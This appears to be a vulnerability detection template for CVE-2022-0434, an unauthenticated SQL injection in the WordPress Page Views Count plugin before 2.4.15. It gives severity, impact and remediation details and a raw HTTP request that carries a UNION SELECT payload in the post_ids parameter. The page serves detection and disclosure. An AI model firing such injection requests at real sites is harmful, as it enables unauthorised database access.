| Title | WordPress Page Views Count <2.4.15 - SQL Injection |
|---|---|
| Author | theamanrawat |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could lead to unauthorized access to the WordPress database. |
| Remediation | Update to the latest version of the WordPress Page Views Count plugin (2.4.15) to mitigate the SQL Injection vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.88588 |
| CVE ID | CVE-2022-0434 |
| CWE ID | CWE-89 |
| Tags | cve cve2022 wordpress wp-plugin wp sqli wpscan unauth a3rev vkev vuln |
WordPress Page Views Count plugin prior to 2.4.15 contains an unauthenticated SQL injection vulnerability. It does not sanitise and escape the post_ids parameter before using it in a SQL statement via a REST endpoint. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
GET /?rest_route=/pvc/v1/increase/1&post_ids=0)%20union%20select%20md5(0971),null,null%20--%20g HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 Version/15.1 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
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